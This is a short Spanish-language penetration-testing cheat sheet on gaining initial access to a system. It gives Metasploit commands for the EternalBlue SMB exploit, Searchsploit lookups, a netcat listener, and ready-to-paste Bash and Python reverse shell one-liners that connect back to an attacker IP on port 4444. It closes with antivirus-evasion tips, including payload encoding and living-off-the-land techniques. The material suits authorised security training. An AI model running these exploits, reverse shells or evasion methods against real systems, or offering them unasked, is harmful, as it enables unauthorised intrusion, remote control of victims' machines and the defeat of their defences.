# Basics & Shells

![Exploit Banner](/files/sA9HW6J5gacATnZjDPCc)

Es el momento de conseguir acceso al sistema (Initial Access).

## Herramientas de Explotación

### Metasploit Framework

La navaja suiza.

```bash
msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS <IP>
exploit
```

### Searchsploit

Buscar exploits en la base de datos local de Exploit-DB.

```bash
searchsploit "Apache 2.4"
searchsploit -m 12345.py # Copiar exploit al directorio actual
```

## Reverse Shells

Una vez explotada la vulnerabilidad, necesitamos una shell interactiva.

### Netcat Listener (Atacante)

```bash
nc -lvnp 4444
```

### Payloads (Víctima)

* **Bash**: `bash -i >& /dev/tcp/<IP>/4444 0>&1`
* **Python**: `python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<IP>",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'`

## Evasión Básica

Si hay un AV bloqueando el payload:

1. Usar codificadores (`msfvenom -e x86/shikata_ga_nai`).
2. Compilar binarios personalizados en C/C++.
3. Usar técnicas "Living off the Land" (Lolbas).


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